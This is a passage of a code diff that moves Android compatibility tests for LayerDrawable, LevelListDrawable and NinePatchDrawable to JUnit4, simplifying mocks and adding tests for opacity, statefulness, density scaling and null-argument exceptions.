-        private int mOpacity = PixelFormat.OPAQUE;
-
-        private int mIntrinsicWidth = -1;
-        private int mIntrinsicHeight = -1;
-
-        private boolean mDither = false;
-
-        Rect mPadding = null;
+        private Rect mPadding = null;
 
         public MockDrawable() {
             this(false);
@@ -1498,87 +1535,25 @@
 
         @Override
         public void draw(Canvas canvas) {
-            mCalledDraw = true;
-        }
-
-        public boolean hasCalledDraw() {
-            return mCalledDraw;
         }
 
         @Override
         public int getOpacity() {
-            return mOpacity;
-        }
-
-        public void setOpacity(int opacity) {
-            mOpacity = opacity;
+            return PixelFormat.OPAQUE;
         }
 
         @Override
         public void setAlpha(int alpha) {
-            mCalledSetAlpha = true;
         }
 
         @Override
         public void setColorFilter(ColorFilter cf) {
-            mCalledColorFilter = true;
-        }
-
-        @Override
-        public void setDither(boolean dither) {
-            mDither = dither;
-            mCalledSetDither = true;
-        }
-
-        public void setIntrinsicSize(int width, int height) {
-            mIntrinsicWidth = width;
-            mIntrinsicHeight = height;
-        }
-
-        @Override
-        public int getIntrinsicWidth() {
-            return mIntrinsicWidth;
-        }
-
-        @Override
-        public int getIntrinsicHeight() {
-            return mIntrinsicHeight;
-        }
-
-        public boolean hasCalledSetDither() {
-            return mCalledSetDither;
-        }
-
-        public boolean hasCalledSetAlpha() {
-            return mCalledSetAlpha;
-        }
-
-        public boolean hasCalledColorFilter() {
-            return mCalledColorFilter;
         }
 
         public void reset() {
-            mCalledSetDither = false;
-            mCalledSetAlpha = false;
-            mCalledColorFilter = false;
-
             mCalledSetState = false;
             mCalledOnLevelChange = false;
             mCalledOnBoundsChange = false;
-            mCalledJumpToCurrentState = false;
-
-            mCalledDraw = false;
-        }
-
-        @Override
-        public void jumpToCurrentState() {
-            super.jumpToCurrentState();
-
-            mCalledJumpToCurrentState = true;
-        }
-
-        public boolean hasCalledJumpToCurrentState() {
-            return mCalledJumpToCurrentState;
         }
 
         @Override
@@ -1634,7 +1609,7 @@
             return mCalledOnLevelChange;
         }
 
-        public void setPadding(Rect padding) {
+        private void setPadding(Rect padding) {
             if (padding == null) {
                 mPadding = null;
             } else {
@@ -1656,49 +1631,70 @@
         }
     }
 
+    @Test
     public void testMutate() {
         LayerDrawable d1 = (LayerDrawable) mContext.getDrawable(R.drawable.layerdrawable);
         LayerDrawable d2 = (LayerDrawable) mContext.getDrawable(R.drawable.layerdrawable);
         LayerDrawable d3 = (LayerDrawable) mContext.getDrawable(R.drawable.layerdrawable);
+        int restoreAlpha = d1.getAlpha();
 
-        d1.setAlpha(100);
-        assertEquals(100, ((BitmapDrawable) d1.getDrawable(0)).getPaint().getAlpha());
-        assertEquals(100, ((BitmapDrawable) d1.getDrawable(0)).getPaint().getAlpha());
-        assertEquals(100, ((BitmapDrawable) d2.getDrawable(0)).getPaint().getAlpha());
-        assertEquals(100, ((BitmapDrawable) d2.getDrawable(0)).getPaint().getAlpha());
-        assertEquals(100, ((BitmapDrawable) d3.getDrawable(0)).getPaint().getAlpha());
-        assertEquals(100, ((BitmapDrawable) d2.getDrawable(0)).getPaint().getAlpha());
+        try {
+            // verify bad behavior - modify before mutate pollutes other drawables
+            d1.setAlpha(100);
+            assertEquals(100, ((BitmapDrawable) d1.getDrawable(0)).getPaint().getAlpha());
+            assertEquals(100, ((BitmapDrawable) d1.getDrawable(0)).getPaint().getAlpha());
+            assertEquals(100, ((BitmapDrawable) d2.getDrawable(0)).getPaint().getAlpha());
+            assertEquals(100, ((BitmapDrawable) d2.getDrawable(0)).getPaint().getAlpha());
+            assertEquals(100, ((BitmapDrawable) d3.getDrawable(0)).getPaint().getAlpha());
+            assertEquals(100, ((BitmapDrawable) d2.getDrawable(0)).getPaint().getAlpha());
 
-        d1.mutate();
-        d1.setAlpha(200);
-        assertEquals(200, ((BitmapDrawable) d1.getDrawable(0)).getPaint().getAlpha());
-        assertEquals(200, ((BitmapDrawable) d1.getDrawable(0)).getPaint().getAlpha());
-        assertEquals(100, ((BitmapDrawable) d2.getDrawable(0)).getPaint().getAlpha());
-        assertEquals(100, ((BitmapDrawable) d2.getDrawable(0)).getPaint().getAlpha());
-        assertEquals(100, ((BitmapDrawable) d3.getDrawable(0)).getPaint().getAlpha());
-        assertEquals(100, ((BitmapDrawable) d3.getDrawable(0)).getPaint().getAlpha());
+            d1.mutate();
+            d1.setAlpha(200);
+            assertEquals(200, ((BitmapDrawable) d1.getDrawable(0)).getPaint().getAlpha());
+            assertEquals(200, ((BitmapDrawable) d1.getDrawable(0)).getPaint().getAlpha());
+            assertEquals(100, ((BitmapDrawable) d2.getDrawable(0)).getPaint().getAlpha());
+            assertEquals(100, ((BitmapDrawable) d2.getDrawable(0)).getPaint().getAlpha());
+            assertEquals(100, ((BitmapDrawable) d3.getDrawable(0)).getPaint().getAlpha());
+            assertEquals(100, ((BitmapDrawable) d3.getDrawable(0)).getPaint().getAlpha());
 
-        d2.setAlpha(50);
-        assertEquals(200, ((BitmapDrawable) d1.getDrawable(0)).getPaint().getAlpha());
-        assertEquals(200, ((BitmapDrawable) d1.getDrawable(0)).getPaint().getAlpha());
-        assertEquals(50, ((BitmapDrawable) d2.getDrawable(0)).getPaint().getAlpha());
-        assertEquals(50, ((BitmapDrawable) d2.getDrawable(0)).getPaint().getAlpha());
-        assertEquals(50, ((BitmapDrawable) d3.getDrawable(0)).getPaint().getAlpha());
-        assertEquals(50, ((BitmapDrawable) d3.getDrawable(0)).getPaint().getAlpha());
+            d2.setAlpha(50);
+            assertEquals(200, ((BitmapDrawable) d1.getDrawable(0)).getPaint().getAlpha());
+            assertEquals(200, ((BitmapDrawable) d1.getDrawable(0)).getPaint().getAlpha());
+            assertEquals(50, ((BitmapDrawable) d2.getDrawable(0)).getPaint().getAlpha());
+            assertEquals(50, ((BitmapDrawable) d2.getDrawable(0)).getPaint().getAlpha());
+            assertEquals(50, ((BitmapDrawable) d3.getDrawable(0)).getPaint().getAlpha());
+            assertEquals(50, ((BitmapDrawable) d3.getDrawable(0)).getPaint().getAlpha());
+        } finally {
+            // restore externally visible state, since other tests may use the drawable
+            mContext.getDrawable(R.drawable.layerdrawable).setAlpha(restoreAlpha);
+        }
     }
 
-
+    @Test
     public void testPreloadDensity() throws XmlPullParserException, IOException {
-        final Resources res = getContext().getResources();
+        final Resources res = mContext.getResources();
         final int densityDpi = res.getConfiguration().densityDpi;
         try {
-            testPreloadDensityInner(res, densityDpi);
+            DrawableTestUtils.setResourcesDensity(res, densityDpi);
+            verifyPreloadDensityInner(res, densityDpi);
         } finally {
             DrawableTestUtils.setResourcesDensity(res, densityDpi);
         }
     }
 
-    private void testPreloadDensityInner(Resources res, int densityDpi)
+    @Test
+    public void testPreloadDensity_tvdpi() throws XmlPullParserException, IOException {
+        final Resources res = mContext.getResources();
+        final int densityDpi = res.getConfiguration().densityDpi;
+        try {
+            DrawableTestUtils.setResourcesDensity(res, 213);
+            verifyPreloadDensityInner(res, 213);
+        } finally {
+            DrawableTestUtils.setResourcesDensity(res, densityDpi);
+        }
+    }
+
+    private void verifyPreloadDensityInner(Resources res, int densityDpi)
             throws XmlPullParserException, IOException {
         // Capture initial state at default density.
         final XmlResourceParser parser = DrawableTestUtils.getResourceParser(
@@ -1728,11 +1724,13 @@
         DrawableTestUtils.setResourcesDensity(res, densityDpi / 2);
         final LayerDrawable halfDrawable =
                 (LayerDrawable) preloadedConstantState.newDrawable(res);
-        final int halfContentWidth = Math.round(initialContentWidth / 2f);
-        final int halfLeftPadding = initialLeftPadding / 2;
-        final int halfRightPadding = initialRightPadding / 2;
-        final int halfContentInsetL = initialContentInsetL / 2;
-        final int halfContentInsetR = initialContentInsetR / 2;
+        // NOTE: densityDpi may not be an even number, so account for *actual* scaling in asserts
+        final float approxHalf = (float)(densityDpi / 2) / densityDpi;
+        final int halfContentWidth = Math.round(initialContentWidth * approxHalf);
+        final int halfLeftPadding = (int) (initialLeftPadding * approxHalf);
+        final int halfRightPadding = (int) (initialRightPadding * approxHalf);
+        final int halfContentInsetL = (int) (initialContentInsetL * approxHalf);
+        final int halfContentInsetR = (int) (initialContentInsetR * approxHalf);
         final int halfIntrinsicWidth = halfContentWidth + halfContentInsetL + halfContentInsetR;
         assertEquals(halfLeftPadding, halfDrawable.getLeftPadding());
         assertEquals(halfRightPadding, halfDrawable.getRightPadding());
@@ -1740,14 +1738,18 @@
         assertEquals(halfContentInsetR, halfDrawable.getLayerInsetLeft(0));
         assertEquals(halfContentWidth, halfDrawable.getLayerWidth(0));
         assertEquals(halfIntrinsicWidth, halfDrawable.getIntrinsicWidth());
-        assertEquals(initialBottomPadding / 2, halfDrawable.getBottomPadding());
-        assertEquals(initialTopPadding / 2, halfDrawable.getTopPadding());
-        assertEquals(initialLayerInsetLeft / 2,halfDrawable.getLayerInsetLeft(0));
-        assertEquals(initialLayerInsetRight / 2, halfDrawable.getLayerInsetRight(0));
-        assertEquals(initialLayerInsetTop / 2, halfDrawable.getLayerInsetTop(0));
-        assertEquals(initialLayerInsetBottom / 2, halfDrawable.getLayerInsetBottom(0));
-        assertEquals(Math.round(initialLayerWidth / 2f), halfDrawable.getLayerWidth(0));
-        assertEquals(Math.round(initialLayerHeight / 2f), halfDrawable.getLayerHeight(0));
+        assertEquals((int) (initialBottomPadding * approxHalf), halfDrawable.getBottomPadding());
+        assertEquals((int) (initialTopPadding * approxHalf), halfDrawable.getTopPadding());
+        assertEquals((int) (initialLayerInsetLeft * approxHalf),
+                halfDrawable.getLayerInsetLeft(0));
+        assertEquals((int) (initialLayerInsetRight * approxHalf),
+                halfDrawable.getLayerInsetRight(0));
+        assertEquals((int) (initialLayerInsetTop * approxHalf),
+                halfDrawable.getLayerInsetTop(0));
+        assertEquals((int) (initialLayerInsetBottom * approxHalf),
+                halfDrawable.getLayerInsetBottom(0));
+        assertEquals(Math.round(initialLayerWidth * approxHalf), halfDrawable.getLayerWidth(0));
+        assertEquals(Math.round(initialLayerHeight * approxHalf), halfDrawable.getLayerHeight(0));
 
         // Set density to double original.
         DrawableTestUtils.setResourcesDensity(res, densityDpi * 2);
@@ -1793,20 +1795,31 @@
         // The half-density drawable will scale-up all of the values that were
         // previously scaled-down, so we need to capture the rounding errors.
         halfDrawable.applyTheme(t);
-        assertEquals(halfLeftPadding * 2, halfDrawable.getLeftPadding());
-        assertEquals(halfRightPadding * 2, halfDrawable.getRightPadding());
-        assertEquals(halfContentInsetL * 2, halfDrawable.getLayerInsetRight(0));
-        assertEquals(halfContentInsetR * 2, halfDrawable.getLayerInsetLeft(0));
-        assertEquals(halfContentWidth * 2, halfDrawable.getLayerWidth(0));
+
+        // Reproduce imprecise truncated scale down, and back up. Note that we don't round.
+        float approxDouble = 1 / approxHalf;
+        assertEquals((int) (halfLeftPadding * approxDouble), halfDrawable.getLeftPadding());
+        assertEquals((int) (halfRightPadding * approxDouble), halfDrawable.getRightPadding());
+        assertEquals((int) (halfContentInsetL * approxDouble), halfDrawable.getLayerInsetRight(0));
+        assertEquals((int) (halfContentInsetR * approxDouble), halfDrawable.getLayerInsetLeft(0));
+        assertEquals((int) (halfContentWidth * approxDouble), halfDrawable.getLayerWidth(0));
         assertEquals(halfIntrinsicWidth * 2, halfDrawable.getIntrinsicWidth());
-        assertEquals(2 * (initialBottomPadding / 2), halfDrawable.getBottomPadding());
-        assertEquals(2 * (initialTopPadding / 2), halfDrawable.getTopPadding());
-        assertEquals(2 * (initialLayerInsetLeft / 2), halfDrawable.getLayerInsetLeft(0));
-        assertEquals(2 * (initialLayerInsetRight / 2), halfDrawable.getLayerInsetRight(0));
-        assertEquals(2 * (initialLayerInsetTop / 2), halfDrawable.getLayerInsetTop(0));
-        assertEquals(2 * (initialLayerInsetBottom / 2), halfDrawable.getLayerInsetBottom(0));
-        assertEquals(2 * Math.round(initialLayerWidth / 2f), halfDrawable.getLayerWidth(0));
-        assertEquals(2 * Math.round(initialLayerHeight / 2f), halfDrawable.getLayerHeight(0));
+        assertEquals((int) ((int) (initialBottomPadding * approxHalf) * approxDouble),
+                halfDrawable.getBottomPadding());
+        assertEquals((int) ((int) (initialTopPadding * approxHalf) * approxDouble),
+                halfDrawable.getTopPadding());
+        assertEquals((int) ((int) (initialLayerInsetLeft * approxHalf) * approxDouble),
+                halfDrawable.getLayerInsetLeft(0));
+        assertEquals((int) ((int) (initialLayerInsetRight * approxHalf) * approxDouble),
+                halfDrawable.getLayerInsetRight(0));
+        assertEquals((int) ((int) (initialLayerInsetTop * approxHalf) * approxDouble),
+                halfDrawable.getLayerInsetTop(0));
+        assertEquals((int) ((int) (initialLayerInsetBottom * approxHalf) * approxDouble),
+                halfDrawable.getLayerInsetBottom(0));
+        assertEquals(Math.round(Math.round(initialLayerWidth * approxHalf) * approxDouble),
+                halfDrawable.getLayerWidth(0));
+        assertEquals(Math.round(Math.round(initialLayerHeight * approxHalf) * approxDouble),
+                halfDrawable.getLayerHeight(0));
 
         // The double-density drawable will scale-down all of the values that
         // were previously scaled-up, so we don't need to worry about rounding.
@@ -1827,6 +1840,46 @@
         assertEquals(initialLayerHeight, doubleDrawable.getLayerHeight(0));
     }
 
+    @Test
+    public void testOpacityChange() {
+        ColorDrawable c1 = new ColorDrawable(Color.RED);
+        ColorDrawable c2 = new ColorDrawable(Color.BLUE);
+        LayerDrawable dr = new LayerDrawable(new ColorDrawable[] { c1, c2 });
+        assertEquals(PixelFormat.OPAQUE, dr.getOpacity());
+
+        c1.setTint(0x80FF0000);
+        c1.setTintMode(PorterDuff.Mode.SRC);
+        c2.setTint(0x800000FF);
+        c2.setTintMode(PorterDuff.Mode.SRC);
+        assertEquals(PixelFormat.TRANSLUCENT, dr.getOpacity());
+    }
+
+    @Test
+    public void testStatefulnessChange() {
+        ColorDrawable c1 = new ColorDrawable(Color.RED);
+        ColorDrawable c2 = new ColorDrawable(Color.BLUE);
+        LayerDrawable dr = new LayerDrawable(new ColorDrawable[] { c1, c2 });
+        assertEquals(false, dr.isStateful());
+
+        ColorStateList csl = new ColorStateList(
+                new int[][] { { android.R.attr.state_enabled }, { } },
+                new int[] { Color.RED, Color.BLUE });
+        c1.setTintList(csl);
+        assertEquals(true, dr.isStateful());
+    }
+
+    @Test
+    public void testInvalidateDuringInit() {
+        Drawable layer = new RippleDrawable(ColorStateList.valueOf(Color.BLACK), null, null);
+
+        LayerDrawable orig = new LayerDrawable(new Drawable[] { layer });
+        orig.setBounds(0, 0, 100, 100);
+
+        // This will invoke the layer's invalidateSelf() during construction.
+        LayerDrawable copy = (LayerDrawable) orig.getConstantState().newDrawable();
+        assertNotSame(orig, copy);
+    }
+
     private static class IntrinsicSizeDrawable extends Drawable {
         private final int mIntrinsicWidth;
         private final int mIntrinsicHeight;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/LevelListDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/LevelListDrawableTest.java
index 4ef49c0..9bc423b 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/LevelListDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/LevelListDrawableTest.java
@@ -16,39 +16,50 @@
 
 package android.graphics.drawable.cts;
 
-import java.io.IOException;
-
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
 
 import android.content.res.Resources;
 import android.content.res.XmlResourceParser;
-import android.graphics.Canvas;
-import android.graphics.ColorFilter;
-import android.graphics.drawable.Drawable;
-import android.graphics.drawable.LevelListDrawable;
+import android.graphics.Color;
+import android.graphics.cts.R;
+import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.DrawableContainer.DrawableContainerState;
-import android.test.InstrumentationTestCase;
+import android.graphics.drawable.LevelListDrawable;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.Xml;
 
-import android.graphics.cts.R;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
 
+import java.io.IOException;
 
-public class LevelListDrawableTest extends InstrumentationTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class LevelListDrawableTest {
     private MockLevelListDrawable mLevelListDrawable;
 
     private Resources mResources;
 
     private DrawableContainerState mDrawableContainerState;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setup() {
+        mResources = InstrumentationRegistry.getTargetContext().getResources();
         mLevelListDrawable = new MockLevelListDrawable();
         mDrawableContainerState = (DrawableContainerState) mLevelListDrawable.getConstantState();
-        mResources = getInstrumentation().getTargetContext().getResources();
     }
 
+    @Test
     public void testLevelListDrawable() {
         new LevelListDrawable();
         // Check the values set in the constructor
@@ -56,6 +67,7 @@
         assertTrue(new MockLevelListDrawable().hasCalledOnLevelChanged());
     }
 
+    @Test
     public void testAddLevel() {
         assertEquals(0, mDrawableContainerState.getChildCount());
 
@@ -67,20 +79,23 @@
 
         // call onLevelChanged to assure that the correct drawable is selected.
         mLevelListDrawable.reset();
-        mLevelListDrawable.addLevel(Integer.MAX_VALUE, Integer.MIN_VALUE, new MockDrawable());
+        mLevelListDrawable.addLevel(Integer.MAX_VALUE, Integer.MIN_VALUE,
+                new ColorDrawable(Color.GREEN));
         assertEquals(1, mDrawableContainerState.getChildCount());
         assertTrue(mLevelListDrawable.hasCalledOnLevelChanged());
 
         mLevelListDrawable.reset();
-        mLevelListDrawable.addLevel(Integer.MIN_VALUE, Integer.MAX_VALUE, new MockDrawable());
+        mLevelListDrawable.addLevel(Integer.MIN_VALUE, Integer.MAX_VALUE,
+                new ColorDrawable(Color.RED));
         assertEquals(2, mDrawableContainerState.getChildCount());
         assertTrue(mLevelListDrawable.hasCalledOnLevelChanged());
     }
 
+    @Test
     public void testOnLevelChange() {
-        mLevelListDrawable.addLevel(0, 0, new MockDrawable());
-        mLevelListDrawable.addLevel(0, 0, new MockDrawable());
-        mLevelListDrawable.addLevel(0, 10, new MockDrawable());
+        mLevelListDrawable.addLevel(0, 0, new ColorDrawable(Color.BLUE));
+        mLevelListDrawable.addLevel(0, 0, new ColorDrawable(Color.MAGENTA));
+        mLevelListDrawable.addLevel(0, 10, new ColorDrawable(Color.YELLOW));
 
         // the method is not called if same level is set
         mLevelListDrawable.reset();
@@ -109,6 +124,13 @@
         assertNull(mLevelListDrawable.getCurrent());
     }
 
+    @Test
+    public void testInflateResources() throws XmlPullParserException, IOException {
+        getResourceParser(R.xml.level_list_correct);
+        getResourceParser(R.xml.level_list_missing_item_drawable);
+    }
+
+    @Test
     public void testInflate() throws XmlPullParserException, IOException {
         XmlResourceParser parser = getResourceParser(R.xml.level_list_correct);
 
@@ -133,47 +155,48 @@
         assertSame(mLevelListDrawable.getCurrent(), mDrawableContainerState.getChildren()[2]);
         mLevelListDrawable.setLevel(1);
         assertNull(mLevelListDrawable.getCurrent());
-
-        parser = getResourceParser(R.xml.level_list_missing_item_drawable);
-        try {
-            mLevelListDrawable.inflate(mResources, parser, Xml.asAttributeSet(parser));
-            fail("Should throw XmlPullParserException if drawable of item is missing");
-        } catch (XmlPullParserException e) {
-        }
     }
 
-    public void testInflateWithNullParameters() throws XmlPullParserException, IOException{
+    @Test(expected=XmlPullParserException.class)
+    public void testInflateMissingContent() throws XmlPullParserException, IOException {
+        XmlResourceParser parser = getResourceParser(R.xml.level_list_missing_item_drawable);
+        // Should throw XmlPullParserException if drawable of item is missing
+        mLevelListDrawable.inflate(mResources, parser, Xml.asAttributeSet(parser));
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testInflateWithNullResources() throws XmlPullParserException, IOException {
         XmlResourceParser parser = getResourceParser(R.xml.level_list_correct);
-        try {
-            mLevelListDrawable.inflate(null, parser, Xml.asAttributeSet(parser));
-            fail("Should throw XmlPullParserException if resource is null");
-        } catch (NullPointerException e) {
-        }
-
-        try {
-            mLevelListDrawable.inflate(mResources, null, Xml.asAttributeSet(parser));
-            fail("Should throw XmlPullParserException if parser is null");
-        } catch (NullPointerException e) {
-        }
-
-        try {
-            mLevelListDrawable.inflate(mResources, parser, null);
-            fail("Should throw XmlPullParserException if AttributeSet is null");
-        } catch (NullPointerException e) {
-        }
+        // Should throw NullPointerException if resource is null
+        mLevelListDrawable.inflate(null, parser, Xml.asAttributeSet(parser));
     }
 
+
+    @Test(expected=NullPointerException.class)
+    public void testInflateWithNullParser() throws XmlPullParserException, IOException {
+        XmlResourceParser parser = getResourceParser(R.xml.level_list_correct);
+        // Should throw NullPointerException if parser is null
+        mLevelListDrawable.inflate(mResources, null, Xml.asAttributeSet(parser));
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testInflateWithNullAttrSet() throws XmlPullParserException, IOException {
+        XmlResourceParser parser = getResourceParser(R.xml.level_list_correct);
+        // Should throw NullPointerException if AttributeSet is null
+        mLevelListDrawable.inflate(mResources, parser, null);
+    }
+
+    @Test
     public void testMutate() throws InterruptedException {
-        Resources resources = getInstrumentation().getTargetContext().getResources();
         LevelListDrawable d1 =
-            (LevelListDrawable) resources.getDrawable(R.drawable.levellistdrawable);
+            (LevelListDrawable) mResources.getDrawable(R.drawable.levellistdrawable);
         LevelListDrawable d2 =
-            (LevelListDrawable) resources.getDrawable(R.drawable.levellistdrawable);
+            (LevelListDrawable) mResources.getDrawable(R.drawable.levellistdrawable);
         LevelListDrawable d3 =
-            (LevelListDrawable) resources.getDrawable(R.drawable.levellistdrawable);
+            (LevelListDrawable) mResources.getDrawable(R.drawable.levellistdrawable);
 
         // the state does not appear to be shared before calling mutate()
-        d1.addLevel(100, 200, resources.getDrawable(R.drawable.testimage));
+        d1.addLevel(100, 200, mResources.getDrawable(R.drawable.testimage));
         assertEquals(3, ((DrawableContainerState) d1.getConstantState()).getChildCount());
         assertEquals(2, ((DrawableContainerState) d2.getConstantState()).getChildCount());
         assertEquals(2, ((DrawableContainerState) d3.getConstantState()).getChildCount());
@@ -184,8 +207,7 @@
 
     private XmlResourceParser getResourceParser(int resId) throws XmlPullParserException,
             IOException {
-        XmlResourceParser parser = getInstrumentation().getTargetContext().getResources().getXml(
-                resId);
+        XmlResourceParser parser = mResources.getXml(resId);
         int type;
         while ((type = parser.next()) != XmlPullParser.START_TAG
                 && type != XmlPullParser.END_DOCUMENT) {
@@ -212,23 +234,4 @@
             return result;
         }
     }
-
-    private class MockDrawable extends Drawable {
-        @Override
-        public void draw(Canvas canvas) {
-        }
-
-        @Override
-        public int getOpacity() {
-            return 0;
-        }
-
-        @Override
-        public void setAlpha(int alpha) {
-        }
-
-        @Override
-        public void setColorFilter(ColorFilter cf) {
-        }
-    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/NinePatchDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/NinePatchDrawableTest.java
index 4b4a3bb..2760940 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/NinePatchDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/NinePatchDrawableTest.java
@@ -16,40 +16,55 @@
 
 package android.graphics.drawable.cts;
 
-import android.content.res.Resources.Theme;
-import android.graphics.Outline;
-import android.graphics.cts.R;
-
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.content.res.Resources;
+import android.content.res.Resources.Theme;
 import android.content.res.XmlResourceParser;
 import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
 import android.graphics.BitmapFactory;
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.ColorFilter;
 import android.graphics.NinePatch;
+import android.graphics.Outline;
 import android.graphics.Paint;
 import android.graphics.PixelFormat;
+import android.graphics.PorterDuff.Mode;
 import android.graphics.Rect;
 import android.graphics.Region;
-import android.graphics.Bitmap.Config;
-import android.graphics.PorterDuff.Mode;
+import android.graphics.cts.R;
 import android.graphics.drawable.Drawable;
-import android.graphics.drawable.NinePatchDrawable;
 import android.graphics.drawable.Drawable.ConstantState;
-import android.test.InstrumentationTestCase;
+import android.graphics.drawable.NinePatchDrawable;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.DisplayMetrics;
 import android.util.Xml;
 
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+
 import java.io.File;
 import java.io.FileOutputStream;
 import java.io.IOException;
 
-public class NinePatchDrawableTest extends InstrumentationTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class NinePatchDrawableTest {
     // A small value is actually making sure that the values are matching
     // exactly with the golden image.
     // We can increase the threshold if the Skia is drawing with some variance
@@ -66,14 +81,14 @@
 
     private Resources mResources;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResources = getInstrumentation().getTargetContext().getResources();
+    @Before
+    public void setup() {
+        mResources = InstrumentationRegistry.getTargetContext().getResources();
         mNinePatchDrawable = getNinePatchDrawable(R.drawable.ninepatch_0);
     }
 
     @SuppressWarnings("deprecation")
+    @Test
     public void testConstructors() {
         byte[] chunk = new byte[MIN_CHUNK_SIZE];
         chunk[MIN_CHUNK_SIZE - 1] = 1;
@@ -97,6 +112,7 @@
         }
     }
 
+    @Test
     public void testDraw() {
         Bitmap bmp = Bitmap.createBitmap(9, 9, Config.ARGB_8888);
         Canvas c = new Canvas(bmp);
@@ -105,32 +121,31 @@
 
         mNinePatchDrawable.setBounds(0, 0, 9, 9);
         mNinePatchDrawable.draw(c);
-        assertColorFillRect(bmp, 0, 0, 4, 4, Color.RED);
-        assertColorFillRect(bmp, 5, 0, 4, 4, Color.BLUE);
-        assertColorFillRect(bmp, 0, 5, 4, 4, ocean);
-        assertColorFillRect(bmp, 5, 5, 4, 4, Color.YELLOW);
-        assertColorFillRect(bmp, 4, 0, 1, 9, Color.WHITE);
-        assertColorFillRect(bmp, 0, 4, 9, 1, Color.WHITE);
+        verifyColorFillRect(bmp, 0, 0, 4, 4, Color.RED);
+        verifyColorFillRect(bmp, 5, 0, 4, 4, Color.BLUE);
+        verifyColorFillRect(bmp, 0, 5, 4, 4, ocean);
+        verifyColorFillRect(bmp, 5, 5, 4, 4, Color.YELLOW);
+        verifyColorFillRect(bmp, 4, 0, 1, 9, Color.WHITE);
+        verifyColorFillRect(bmp, 0, 4, 9, 1, Color.WHITE);
 
         bmp.eraseColor(0xff000000);
 
         mNinePatchDrawable.setBounds(0, 0, 3, 3);
         mNinePatchDrawable.draw(c);
-        assertColorFillRect(bmp, 0, 0, 1, 1, Color.RED);
-        assertColorFillRect(bmp, 2, 0, 1, 1, Color.BLUE);
-        assertColorFillRect(bmp, 0, 2, 1, 1, ocean);
-        assertColorFillRect(bmp, 2, 2, 1, 1, Color.YELLOW);
-        assertColorFillRect(bmp, 1, 0, 1, 3, Color.WHITE);
-        assertColorFillRect(bmp, 0, 1, 3, 1, Color.WHITE);
-
-        try {
-            mNinePatchDrawable.draw(null);
-            fail("The method should check whether the canvas is null.");
-        } catch (NullPointerException e) {
-            // expected
-        }
+        verifyColorFillRect(bmp, 0, 0, 1, 1, Color.RED);
+        verifyColorFillRect(bmp, 2, 0, 1, 1, Color.BLUE);
+        verifyColorFillRect(bmp, 0, 2, 1, 1, ocean);
+        verifyColorFillRect(bmp, 2, 2, 1, 1, Color.YELLOW);
+        verifyColorFillRect(bmp, 1, 0, 1, 3, Color.WHITE);
+        verifyColorFillRect(bmp, 0, 1, 3, 1, Color.WHITE);
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testDrawNullCanvas() {
+        mNinePatchDrawable.draw(null);
+    }
+
+    @Test
     public void testGetChangingConfigurations() {
         ConstantState constantState = mNinePatchDrawable.getConstantState();
 
@@ -153,6 +168,7 @@
         assertEquals(0xffff,  mNinePatchDrawable.getChangingConfigurations());
     }
 
+    @Test
     public void testGetPadding() {
         Rect r = new Rect();
         NinePatchDrawable npd = (NinePatchDrawable) mResources.getDrawable(R.drawable.ninepatch_0);
@@ -171,6 +187,7 @@
         assertTrue(r.bottom > 0);
     }
 
+    @Test
     public void testSetAlpha() {
         assertEquals(0xff, mNinePatchDrawable.getPaint().getAlpha());
 
@@ -184,10 +201,11 @@
         assertEquals(0xfe, mNinePatchDrawable.getPaint().getAlpha());
     }
 
+    @Test
     public void testSetColorFilter() {
         assertNull(mNinePatchDrawable.getPaint().getColorFilter());
 
-        MockColorFilter cf = new MockColorFilter();
+        ColorFilter cf = new ColorFilter();
         mNinePatchDrawable.setColorFilter(cf);
         assertSame(cf, mNinePatchDrawable.getPaint().getColorFilter());
 
@@ -195,6 +213,7 @@
         assertNull(mNinePatchDrawable.getPaint().getColorFilter());
     }
 
+    @Test
     public void testSetTint() {
         mNinePatchDrawable.setTint(Color.BLACK);
         mNinePatchDrawable.setTintMode(Mode.SRC_OVER);
@@ -205,6 +224,7 @@
         mNinePatchDrawable.setTintMode(null);
     }
 
+    @Test
     public void testSetDither() {
         mNinePatchDrawable.setDither(false);
         assertFalse(mNinePatchDrawable.getPaint().isDither());
@@ -213,6 +233,7 @@
         assertTrue(mNinePatchDrawable.getPaint().isDither());
     }
 
+    @Test
